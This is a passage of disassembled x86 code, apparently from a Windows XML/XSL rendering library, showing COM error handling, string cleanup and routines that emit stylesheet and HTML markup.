cmp eax, esi
mov [ebp+ppBSCBPrev], esi
jz short loc_69B834A7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B834A7: ; CODE XREF: sub_69B8337C+123j
mov eax, [ebp+ppmk]
cmp eax, esi
jz short loc_69B834B4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B834B4: ; CODE XREF: sub_69B8337C+130j
mov eax, [ebp+var_14]
cmp eax, esi
mov [ebp+ppmk], esi
jz short loc_69B834C4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B834C4: ; CODE XREF: sub_69B8337C+140j
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 8
sub_69B8337C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B834CD proc near ; CODE XREF: sub_69B80756+8Dp
; sub_69B81652+4Cp ...
var_C = dword ptr -0Ch
perrinfo = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
xor ebx, ebx
push edi
mov esi, ecx
xor edi, edi
cmp dword ptr [esi+58h], 2
mov [ebp+perrinfo], ebx
mov [ebp+var_4], ebx
jnz loc_69B835DD
cmp [esi+88h], bl
jnz short loc_69B83515
mov eax, [esi+48h]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+0ECh]
cmp [ebp+var_C], 4
jnz loc_69B835CF
mov byte ptr [esi+88h], 1
loc_69B83515: ; CODE XREF: sub_69B834CD+25j
cmp [esi+1Ch], bl
jnz short loc_69B83527
mov ecx, esi
call sub_69B8264F
mov edi, eax
mov byte ptr [esi+1Ch], 1
loc_69B83527: ; CODE XREF: sub_69B834CD+4Bj
cmp [esi+14h], ebx
jz short loc_69B83568
cmp edi, ebx
jl short loc_69B8356C
mov eax, [esi+30h]
mov byte ptr [eax+1Dh], 1
mov eax, [esi+14h]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
mov edi, eax
cmp edi, ebx
jl short loc_69B83559
mov ecx, esi
call sub_69B82A4C
mov eax, [esi+30h]
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+20h]
jmp short loc_69B83568
; ---------------------------------------------------------------------------
loc_69B83559: ; CODE XREF: sub_69B834CD+77j
cmp edi, 8000000Ah
jnz short loc_69B83568
cmp [ebp+arg_4], ebx
jnz short loc_69B8356C
xor edi, edi
loc_69B83568: ; CODE XREF: sub_69B834CD+5Dj
; sub_69B834CD+8Aj ...
cmp edi, ebx
jge short loc_69B835CF
loc_69B8356C: ; CODE XREF: sub_69B834CD+61j
; sub_69B834CD+97j
lea eax, [ebp+perrinfo]
push eax ; pperrinfo
push ebx ; dwReserved
call GetErrorInfo
test eax, eax
jnz short loc_69B835CF
mov eax, [ebp+perrinfo]
cmp eax, ebx
jz short loc_69B835CF
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+14h]
test eax, eax
jnz short loc_69B835CF
mov ecx, [ebp+var_4]
cmp ecx, ebx
jz short loc_69B835DD
mov eax, [ebp+arg_0]
cmp eax, ebx
mov byte ptr [esi+50h], 1
jz short loc_69B835B5
mov edx, [eax]
push ecx
push eax
call dword ptr [edx+14h]
push [ebp+perrinfo] ; perrinfo
push ebx ; dwReserved
call SetErrorInfo
jmp short loc_69B835CF
; ---------------------------------------------------------------------------
loc_69B835B5: ; CODE XREF: sub_69B834CD+D3j
mov [esi+84h], ecx
mov ecx, esi
mov [ebp+var_4], ebx
call sub_69B82A4C
mov esi, [esi+30h]
mov eax, [esi]
push ebx
push esi
call dword ptr [eax+20h]
loc_69B835CF: ; CODE XREF: sub_69B834CD+3Bj
; sub_69B834CD+9Dj ...
cmp [ebp+var_4], ebx
jz short loc_69B835DD
push [ebp+var_4] ; BSTR
call SysFreeString
loc_69B835DD: ; CODE XREF: sub_69B834CD+19j
; sub_69B834CD+C8j ...
mov eax, [ebp+perrinfo]
cmp eax, ebx
mov [ebp+var_4], ebx
jz short loc_69B835ED
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B835ED: ; CODE XREF: sub_69B834CD+118j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B834CD endp
; =============== S U B R O U T I N E =======================================
sub_69B835F6 proc near ; CODE XREF: sub_69B836B7+4Fp
; sub_69B83717+7Ep
arg_0 = dword ptr 4
xor eax, eax
inc dword ptr [ecx+18h]
mov edx, [ecx+18h]
cmp edx, dword_69B9A9F0
jb short locret_69B83613
push eax
push [esp+4+arg_0]
mov [ecx+18h], eax
call sub_69B834CD
locret_69B83613: ; CODE XREF: sub_69B835F6+Ej
retn 4
sub_69B835F6 endp
; =============== S U B R O U T I N E =======================================
sub_69B83616 proc near ; CODE XREF: sub_69B83984+3Ap
push esi
mov esi, ecx
call sub_69B4E24E
xor eax, eax
mov [esi+14h], eax
mov [esi+10h], eax
mov [esi+1Ch], eax
mov [esi+20h], eax
mov dword ptr [esi], offset off_69B1F6E8
mov dword ptr [esi+4], offset off_69B2A840
mov eax, esi
pop esi
retn
sub_69B83616 endp
; =============== S U B R O U T I N E =======================================
sub_69B8363D proc near ; DATA XREF: .text:off_69B2A840o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B82ABA
test [esp+4+arg_0], 1
jz short loc_69B83655
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B83655: ; CODE XREF: sub_69B8363D+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B8363D endp
; ---------------------------------------------------------------------------
loc_69B8365C: ; DATA XREF: .text:off_69B16B98o
push esi
mov esi, ecx
call sub_69B8367B
test byte ptr [esp+8], 1
jz short loc_69B83674
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B83674: ; CODE XREF: .text:69B83669j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B8367B proc near ; CODE XREF: .text:69B8365Fp
push esi
mov esi, ecx
lea eax, [esi+74h]
push eax
call sub_69B17230
lea eax, [esi+70h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B816BB
sub_69B8367B endp
; ---------------------------------------------------------------------------
loc_69B83698: ; DATA XREF: .text:off_69B2A87Co
push esi
mov esi, ecx
call sub_69B82F37
test byte ptr [esp+8], 1
jz short loc_69B836B0
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B836B0: ; CODE XREF: .text:69B836A5j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B836B7 proc near ; DATA XREF: .text:69B14764o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
xor ebx, ebx
cmp [esi+2Ch], ebx
mov [esi+4Ch], edi
jz short loc_69B836D3
mov eax, 80004005h
jmp short loc_69B83711
; ---------------------------------------------------------------------------
loc_69B836D3: ; CODE XREF: sub_69B836B7+13j
cmp [esi+77h], bl
jz short loc_69B836ED
push [esp+0Ch+arg_8]
mov eax, [esi+34h]
mov ecx, [eax]
lea edx, [esi+10h]
push edx
push eax
call dword ptr [ecx+10h]
cmp eax, ebx
jl short loc_69B83711
loc_69B836ED: ; CODE XREF: sub_69B836B7+1Fj
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83703
push ebx ; int
push offset asc_69B270DC ; ">"
call sub_69B82200
loc_69B83703: ; CODE XREF: sub_69B836B7+3Fj
push edi
mov ecx, esi
call sub_69B835F6
mov [esi+72h], bl
mov [esi+71h], bl
loc_69B83711: ; CODE XREF: sub_69B836B7+1Aj
; sub_69B836B7+34j
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B836B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B83717 proc near ; DATA XREF: .text:69B14768o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp [esi+2Ch], ebx
mov [ebp+var_4], ebx
mov [esi+4Ch], eax
jz short loc_69B8373A
mov eax, 80004005h
jmp loc_69B837D9
; ---------------------------------------------------------------------------
loc_69B8373A: ; CODE XREF: sub_69B83717+17j
cmp [esi+77h], bl
jz short loc_69B83759
push [ebp+arg_C]
mov eax, [esi+34h]
push [ebp+arg_8]
mov ecx, [eax]
lea edx, [esi+10h]
push edx
push eax
call dword ptr [ecx+14h]
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_69B837D6
loc_69B83759: ; CODE XREF: sub_69B83717+26j
mov eax, [ebp+arg_C]
mov eax, [eax+4]
cmp eax, 1
jz short loc_69B83773
cmp eax, 2
jbe short loc_69B837D0
cmp eax, 4
ja short loc_69B837D0
mov [esi+54h], ebx
jmp short loc_69B837D0
; ---------------------------------------------------------------------------
loc_69B83773: ; CODE XREF: sub_69B83717+4Bj
cmp [ebp+arg_8], ebx
push edi
mov edi, offset asc_69B270DC ; ">"
jz short loc_69B8379D
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83790
push ebx ; int
push edi ; lpString
call sub_69B82200
loc_69B83790: ; CODE XREF: sub_69B83717+70j
push [ebp+arg_4]
mov ecx, esi
call sub_69B835F6
mov [ebp+var_4], eax
loc_69B8379D: ; CODE XREF: sub_69B83717+65j
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B837B3
push ebx ; int
push offset asc_69B2A52C ; "</"
call sub_69B82200
loc_69B837B3: ; CODE XREF: sub_69B83717+8Fj
push [ebp+arg_C]
mov ecx, esi
call sub_69B83293
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B837CF
push ebx ; int
push edi ; lpString
call sub_69B82200
loc_69B837CF: ; CODE XREF: sub_69B83717+AFj
pop edi
loc_69B837D0: ; CODE XREF: sub_69B83717+50j
; sub_69B83717+55j ...
mov [esi+72h], bl
mov [esi+71h], bl
loc_69B837D6: ; CODE XREF: sub_69B83717+40j
mov eax, [ebp+var_4]
loc_69B837D9: ; CODE XREF: sub_69B83717+1Ej
pop esi
pop ebx
leave
retn 10h
sub_69B83717 endp
; =============== S U B R O U T I N E =======================================
sub_69B837DF proc near ; CODE XREF: sub_69B7FB0F+463p
; sub_69B83AAA+2C6p ...
push 38h
push offset dword_69B83978
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor ebx, ebx
mov [ebp-20h], ebx
mov [ebp-24h], ebx
mov [ebp-28h], ebx
mov [ebp-2Ch], ebx
call dword_69B92948
mov [ebp-30h], eax
cmp eax, ebx
jnz short loc_69B83815
mov eax, 80004005h
jmp loc_69B8396A
; ---------------------------------------------------------------------------
loc_69B83815: ; CODE XREF: sub_69B837DF+2Aj
push ebx
push eax
lea ecx, [ebp-3Ch]
call sub_69B1A8C7
mov [ebp-4], ebx
cmp [ebp+0Ch], ebx
jnz short loc_69B83832
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_69B82243
loc_69B83832: ; CODE XREF: sub_69B837DF+46j
mov eax, [ebp+0Ch]
cmp eax, ebx
jz loc_69B8390E
mov ecx, [eax]
lea edx, [ebp-20h]
push edx
push eax
call dword ptr [ecx+24h]
cmp [esi+50h], bl
jnz loc_69B83908
mov eax, [ebp+0Ch]
mov ecx, [eax]
lea edx, [ebp-24h]
push edx
push eax
call dword ptr [ecx+20h]
mov eax, [ebp+0Ch]
mov ecx, [eax]
lea edx, [ebp-2Ch]
push edx
push eax
call dword ptr [ecx+2Ch]
mov eax, [ebp+0Ch]
mov ecx, [eax]
lea edx, [ebp-40h]
push edx
push eax
call dword ptr [ecx+30h]
mov ecx, [esi+44h]
mov eax, [ecx]
call dword ptr [eax+18h]
test al, al
jnz short loc_69B83899
mov ecx, [esi+44h]
mov eax, [ecx]
push 1
push dword ptr [ebp-20h]
push dword ptr [ebp-40h]
push dword ptr [ebp-2Ch]
push dword ptr [ebp-24h]
call dword ptr [eax+14h]
loc_69B83899: ; CODE XREF: sub_69B837DF+A2j
mov eax, [ebp-24h]
cmp eax, ebx
jz short loc_69B838C9
cmp [eax], bx
jz short loc_69B838C9
push ebx
push eax ; lpString
call sub_69B1A587
push eax
push 0C00CE582h
call sub_69B2F944
add esp, 0Ch
mov [ebp-44h], eax
push eax ; int
push dword ptr [ebp-20h] ; lpString
call sub_69B82B27
mov [ebp-20h], eax
loc_69B838C9: ; CODE XREF: sub_69B837DF+BFj
; sub_69B837DF+C4j
cmp [ebp-2Ch], ebx
jle short loc_69B838FD
push ebx
push dword ptr [ebp-40h]
call sub_69B2F0F7
push eax
push dword ptr [ebp-2Ch]
call sub_69B2F0F7
push eax
push 0C00CE401h
call sub_69B2F944
add esp, 10h
mov [ebp-48h], eax
push eax ; int
push dword ptr [ebp-20h] ; lpString
call sub_69B82B27
mov [ebp-20h], eax
loc_69B838FD: ; CODE XREF: sub_69B837DF+EDj
push dword ptr [ebp+0Ch]
call sub_69B82B65
mov [ebp-28h], eax
loc_69B83908: ; CODE XREF: sub_69B837DF+6Bj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B83935
; ---------------------------------------------------------------------------
loc_69B8390E: ; CODE XREF: sub_69B837DF+58j
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B832AA
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B83942
; ---------------------------------------------------------------------------
loc_69B8391E: ; DATA XREF: .text:69B8397Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B83927: ; DATA XREF: .text:69B83980o
mov esp, [ebp-18h]
and dword ptr [ebp-20h], 0
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B83935: ; CODE XREF: sub_69B837DF+12Dj
push dword ptr [ebp-28h]
push dword ptr [ebp-20h]
mov ecx, esi
call sub_69B828E4
loc_69B83942: ; CODE XREF: sub_69B837DF+13Dj
push dword ptr [ebp-20h] ; BSTR
mov esi, SysFreeString
call esi ; SysFreeString
push dword ptr [ebp-28h] ; BSTR
call esi ; SysFreeString
push dword ptr [ebp-24h] ; BSTR
call esi ; SysFreeString
lea ecx, [ebp-3Ch]
call sub_69B1976C
push dword ptr [ebp-30h]
call dword_69B92944
xor eax, eax
loc_69B8396A: ; CODE XREF: sub_69B837DF+31j
call sub_69B1853C
retn 8
sub_69B837DF endp
; ---------------------------------------------------------------------------
align 8
dword_69B83978 dd 0FFFFFFFFh dd offset loc_69B8391E
dd offset loc_69B83927
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B83984 proc near ; CODE XREF: sub_69B83E6C+1F6p
ppv = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push edi
lea eax, [ebp+ppv]
push eax ; ppv
push offset stru_69B25E84 ; riid
push 1 ; dwClsContext
xor edi, edi
push edi ; pUnkOuter
push offset stru_69B12168 ; rclsid
mov ebx, ecx
mov [ebp+ppv], edi
call ds:CoCreateInstance
test eax, eax
jnz loc_69B83A80
push esi
push 24h
call sub_69B11E44
cmp eax, edi
jz short loc_69B839C7
mov ecx, eax
call sub_69B83616
mov esi, eax
jmp short loc_69B839C9
; ---------------------------------------------------------------------------
loc_69B839C7: ; CODE XREF: sub_69B83984+36j
xor esi, esi
loc_69B839C9: ; CODE XREF: sub_69B83984+41j
cmp esi, edi
jz loc_69B83A72
mov eax, [ebp+ppv]
mov ecx, [eax]
push edi
push 2
push offset word_69B26230
push eax
call dword ptr [ecx+44h]
test eax, eax
jl loc_69B83A72
mov eax, [ebp+ppv]
mov ecx, [eax]
push edi
push 18h
push offset aStylesheet ; "<STYLESHEET "
push eax
call dword ptr [ecx+44h]
test eax, eax
jl short loc_69B83A72
mov edx, [ebp+arg_4]
mov eax, [ebp+ppv]
mov ecx, [eax]
push edi
add edx, edx
push edx
push [ebp+arg_0]
push eax
call dword ptr [ecx+44h]
test eax, eax
jl short loc_69B83A72
mov eax, [ebp+ppv]
mov ecx, [eax]
push 1
push 4
push offset asc_69B83A88 ; "/>"
push eax
call dword ptr [ecx+44h]
test eax, eax
jl short loc_69B83A72
mov eax, [ebp+ppv]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jl short loc_69B83A72
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, [ebp+ppv]
mov ecx, [eax]
push 0FFFFFFFFh
push eax
call dword ptr [ecx+60h]
mov edi, [esi+1Ch]
mov ecx, esi
call sub_69B82825
cmp edi, 2
jnz short loc_69B83A5E
test eax, eax
jz short loc_69B83A72
loc_69B83A5E: ; CODE XREF: sub_69B83984+D4j
cmp dword ptr [esi+20h], 0
jz short loc_69B83A6C
mov [ebx+60h], edi
mov [ebx+64h], eax
jmp short loc_69B83A72
; ---------------------------------------------------------------------------
loc_69B83A6C: ; CODE XREF: sub_69B83984+DEj
mov [ebx+58h], edi
mov [ebx+5Ch], eax
loc_69B83A72: ; CODE XREF: sub_69B83984+47j
; sub_69B83984+60j ...
mov eax, [ebp+ppv]
test eax, eax
pop esi
jz short loc_69B83A80
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B83A80: ; CODE XREF: sub_69B83984+26j
; sub_69B83984+F4j
pop edi
pop ebx
leave
retn 8
sub_69B83984 endp
; ---------------------------------------------------------------------------
align 4
asc_69B83A88: ; DATA XREF: sub_69B83984+9Bo
unicode 0, </>
dw 3Eh
unicode 0, <>,0
align 10h
aStylesheet: ; DATA XREF: sub_69B83984+6Eo
dw 3Ch
unicode 0, <STYLESHEET >,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B83AAA proc near ; DATA XREF: .text:69B14760o
pvarg = VARIANTARG ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
push edi
xor ebx, ebx
push esi
mov [ebp+var_4], ebx
call dword ptr [eax+4]
cmp [esi+77h], bl
mov eax, [ebp+arg_4]
mov edi, [ebp+arg_8]
mov [esi+4Ch], eax
jz short loc_69B83AEC
cmp edi, ebx
jz short loc_69B83AEC
mov eax, [esi+34h]
mov ecx, [eax]
push edi
lea edx, [esi+10h]
push edx
push eax
call dword ptr [ecx+0Ch]
cmp eax, ebx
mov [ebp+var_4], eax
jl loc_69B83D75 ; default
loc_69B83AEC: ; CODE XREF: sub_69B83AAA+23j
; sub_69B83AAA+27j
cmp edi, 9 ; switch 10 cases
ja loc_69B83D75 ; default
jmp ds:off_69B83D85[edi*4] ; switch jump
loc_69B83AFC: ; DATA XREF: .text:off_69B83D85o
push 0FFFFFFFFh ; jumptable 69B83AF5 case 0
mov ecx, esi
call sub_69B8259B
cmp eax, ebx
mov [ebp+var_4], eax
jl loc_69B83D75 ; default
lea eax, [ebp+pvarg]
push eax ; pvarg
mov [esi+7Ch], ebx
call VariantInit
mov eax, [esi+40h]
cmp eax, ebx
jz short loc_69B83B37
mov ecx, [eax]
push ebx
lea edx, [ebp+pvarg]
push edx
push offset aMsoxslurl ; "msoXSLUrl"
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_4], eax
loc_69B83B37: ; CODE XREF: sub_69B83AAA+78j
cmp [ebp+var_4], ebx
jnz short loc_69B83B86
cmp word ptr [ebp+pvarg.anonymous_0], 8
jnz short loc_69B83B86
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
cmp eax, ebx
jz short loc_69B83B86
cmp [eax], bx
jz short loc_69B83B86
push dword ptr [esi+5Ch] ; BSTR
mov dword ptr [esi+58h], 2
call SysFreeString
push dword ptr [ebp+pvarg.anonymous_0+8] ; OLECHAR *
call SysAllocString
mov [esi+5Ch], eax
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
cmp [esi+5Ch], ebx
jnz short loc_69B83B90
mov [ebp+var_4], 8007000Eh
jmp loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83B86: ; CODE XREF: sub_69B83AAA+90j
; sub_69B83AAA+97j ...
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
loc_69B83B90: ; CODE XREF: sub_69B83AAA+CEj
lea edi, [esi+48h]
push edi ; ppv
push offset stru_69B25E34 ; riid
push 1 ; dwClsContext
push ebx ; pUnkOuter
push offset stru_69B12148 ; rclsid
call ds:CoCreateInstance
test eax, eax
jl short loc_69B83BB7
push dword ptr [edi]
mov ecx, esi
push dword ptr [esi+38h]
call sub_69B8251E
loc_69B83BB7: ; CODE XREF: sub_69B83AAA+FFj
push 15h
lea edx, [esi+90h]
pop ecx
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esi+20h]
push edx
mov dword ptr [edx], 54h
mov ecx, [eax]
lea edx, [esi+8Ch]
push edx
push eax
call dword ptr [ecx+20h]
push ebx
push [ebp+arg_4]
mov ecx, esi
call sub_69B826F2
test eax, eax
loc_69B83BEA: ; CODE XREF: sub_69B83AAA+178j
jz loc_69B83D75 ; default
mov [ebp+var_4], 8000000Ah
jmp loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83BFC: ; CODE XREF: sub_69B83AAA+4Bj
; DATA XREF: .text:off_69B83D85o
inc dword ptr [esi+68h] ; jumptable 69B83AF5 cases 1,3
mov [esi+70h], bl
jmp loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83C07: ; CODE XREF: sub_69B83AAA+4Bj
; DATA XREF: .text:off_69B83D85o
dec dword ptr [esi+68h] ; jumptable 69B83AF5 cases 2,4
jmp loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83C0F: ; CODE XREF: sub_69B83AAA+4Bj
; DATA XREF: .text:off_69B83D85o
inc dword ptr [esi+6Ch] ; jumptable 69B83AF5 case 6
jmp loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83C17: ; CODE XREF: sub_69B83AAA+4Bj
; DATA XREF: .text:off_69B83D85o
dec dword ptr [esi+6Ch] ; jumptable 69B83AF5 case 7
jmp loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83C1F: ; CODE XREF: sub_69B83AAA+4Bj
; DATA XREF: .text:off_69B83D85o
cmp [esi+28h], ebx ; jumptable 69B83AF5 case 9
jmp short loc_69B83BEA
; ---------------------------------------------------------------------------
loc_69B83C24: ; CODE XREF: sub_69B83AAA+4Bj
; DATA XREF: .text:off_69B83D85o
cmp dword ptr [esi+58h], 1 ; jumptable 69B83AF5 case 5
jnz short loc_69B83C7F
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83C40
push ebx ; int
push offset aXmlNamespacePr ; "<XML:NAMESPACE prefix='XMV'/>"
call sub_69B82200
loc_69B83C40: ; CODE XREF: sub_69B83AAA+189j
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83C56
push ebx ; int
push offset aHtmlHead_0 ; "</html:head>"
call sub_69B82200
loc_69B83C56: ; CODE XREF: sub_69B83AAA+19Fj
mov ecx, esi
mov [esi+76h], bl
mov byte ptr [esi+78h], 1
call sub_69B821E5
test eax, eax
jz short loc_69B83C73
push ebx ; int
push offset aHtmlBody ; "<html:body>"
call sub_69B82200
loc_69B83C73: ; CODE XREF: sub_69B83AAA+1BCj
mov eax, [esi+30h]
mov byte ptr [eax+1Dh], 1
jmp loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83C7F: ; CODE XREF: sub_69B83AAA+17Ej
lea edi, [esi+48h]
cmp [edi], ebx
mov [esi+76h], bl
jnz short loc_69B83CBF
push edi ; ppv
push offset stru_69B25E34 ; riid
push 1 ; dwClsContext
push ebx ; pUnkOuter
push offset stru_69B12148 ; rclsid
call ds:CoCreateInstance
cmp eax, ebx
mov [ebp+var_4], eax
jl loc_69B83D75 ; default
push dword ptr [edi]
mov ecx, esi
push dword ptr [esi+38h]
call sub_69B8251E
cmp eax, ebx
mov [ebp+var_4], eax
jl loc_69B83D75 ; default
loc_69B83CBF: ; CODE XREF: sub_69B83AAA+1DDj
cmp [esi+58h], ebx
jnz short loc_69B83CD4
mov eax, [esi+60h]
cmp eax, ebx
jz short loc_69B83CD4
mov [esi+58h], eax
mov eax, [esi+64h]
mov [esi+5Ch], eax
loc_69B83CD4: ; CODE XREF: sub_69B83AAA+218j
; sub_69B83AAA+21Fj
push 2
pop eax
cmp [esi+58h], eax
mov ecx, esi
jnz short loc_69B83CEA
push [ebp+arg_4]
push dword ptr [edi]
call sub_69B8337C
jmp short loc_69B83CF4
; ---------------------------------------------------------------------------
loc_69B83CEA: ; CODE XREF: sub_69B83AAA+232j
push dword ptr [edi]
mov [esi+58h], eax
call sub_69B8241A
loc_69B83CF4: ; CODE XREF: sub_69B83AAA+23Ej
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_69B83D75 ; default
mov ecx, [esi+30h]
push esi
call sub_69B821B6
mov eax, [esi+30h]
mov ecx, [eax]
push eax
call dword ptr [ecx+24h]
jmp short loc_69B83D75 ; default
; ---------------------------------------------------------------------------
loc_69B83D0F: ; CODE XREF: sub_69B83AAA+4Bj
; DATA XREF: .text:off_69B83D85o
mov eax, [esi+7Ch] ; jumptable 69B83AF5 case 8
cmp eax, ebx
jz short loc_69B83D1A
push ebx
push eax
jmp short loc_69B83D6E
; ---------------------------------------------------------------------------
loc_69B83D1A: ; CODE XREF: sub_69B83AAA+26Aj
cmp dword ptr [esi+58h], 1
mov ecx, esi
jnz short loc_69B83D58
call sub_69B821E5
test eax, eax
jz short loc_69B83D36
push ebx ; int
push offset aHtmlBody_0 ; "</html:body>"
call sub_69B82200
loc_69B83D36: ; CODE XREF: sub_69B83AAA+27Fj
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83D4C
push ebx ; int
push offset aHtmlHtml_0 ; "</html:html>"
call sub_69B82200
loc_69B83D4C: ; CODE XREF: sub_69B83AAA+295j
mov eax, [esi+30h]
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+20h]
jmp short loc_69B83D65
; ---------------------------------------------------------------------------
loc_69B83D58: ; CODE XREF: sub_69B83AAA+276j
push 1
push [ebp+arg_4]
call sub_69B834CD
mov [ebp+var_4], eax
loc_69B83D65: ; CODE XREF: sub_69B83AAA+2ACj
cmp [ebp+var_4], ebx
jge short loc_69B83D75 ; default
push ebx
push [ebp+var_4]
loc_69B83D6E: ; CODE XREF: sub_69B83AAA+26Ej
mov ecx, esi
call sub_69B837DF
loc_69B83D75: ; CODE XREF: sub_69B83AAA+3Cj
; sub_69B83AAA+45j ...
mov eax, [esi] ; default
push esi
call dword ptr [eax+8]
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B83AAA endp
; ---------------------------------------------------------------------------
off_69B83D85 dd offset loc_69B83AFC ; DATA XREF: sub_69B83AAA+4Br
dd offset loc_69B83BFC ; jump table for switch statement
dd offset loc_69B83C07
dd offset loc_69B83BFC
dd offset loc_69B83C07
dd offset loc_69B83C24
dd offset loc_69B83C0F
dd offset loc_69B83C17
dd offset loc_69B83D0F
dd offset loc_69B83C1F
align 10h
; const WCHAR aHtmlHtml_0
aHtmlHtml_0: ; DATA XREF: sub_69B83AAA+298o
dw 3Ch
unicode 0, </html:html>
dw 3Eh
unicode 0, <>,0
align 4
; const WCHAR aHtmlBody_0
aHtmlBody_0: ; DATA XREF: sub_69B83AAA+282o
dw 3Ch
unicode 0, </html:body>
dw 3Eh
unicode 0, <>,0
align 4
; const WCHAR aHtmlBody
aHtmlBody: ; DATA XREF: sub_69B83AAA+1BFo
dw 3Ch
unicode 0, <html:body>
dw 3Eh
unicode 0, <>,0
; const WCHAR aHtmlHead_0
aHtmlHead_0: ; DATA XREF: sub_69B83AAA+1A2o
dw 3Ch
unicode 0, </html:head>
dw 3Eh
unicode 0, <>,0
align 4
; const WCHAR aXmlNamespacePr
aXmlNamespacePr: ; DATA XREF: sub_69B83AAA+18Co
dw 3Ch
unicode 0, <XML:NAMESPACE prefix=>
dw 27h
unicode 0, <XMV>
dw 27h
unicode 0, </>
dw 3Eh
unicode 0, <>,0
aMsoxslurl: ; DATA XREF: sub_69B83AAA+81o
unicode 0, <msoXSLUrl>,0
; =============== S U B R O U T I N E =======================================
sub_69B83E6C proc near ; CODE XREF: sub_69B8436C+173p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
xor ebx, ebx
cmp word ptr [esp+4+arg_0], bx
push esi
mov esi, ecx
jbe loc_69B8418A
movzx eax, word ptr [esp+8+arg_0]
push ebp
mov ebp, ds:StrCmpNIW
push edi
mov [esp+10h+arg_0], eax
loc_69B83E8E: ; CODE XREF: sub_69B83E6C+316j
mov eax, [esp+10h+arg_4]
mov edi, [eax]
mov eax, [edi+4]
add [esp+10h+arg_4], 4
cmp eax, 21h
ja loc_69B8417E
cmp eax, 20h
jnb loc_69B8411F
cmp eax, 0Dh
ja loc_69B83FD7
jz loc_69B83F91
dec eax
jz loc_69B83F67
dec eax
jz loc_69B8411F
dec eax
jz short loc_69B83EEA
dec eax
jz short loc_69B83EE1
dec eax
jnz loc_69B8417E
mov byte ptr [esi+70h], 1
jmp loc_69B8417E
; ---------------------------------------------------------------------------
loc_69B83EE1: ; CODE XREF: sub_69B83E6C+63j
mov dword ptr [esi+54h], 3
jmp short loc_69B83F5F
; ---------------------------------------------------------------------------
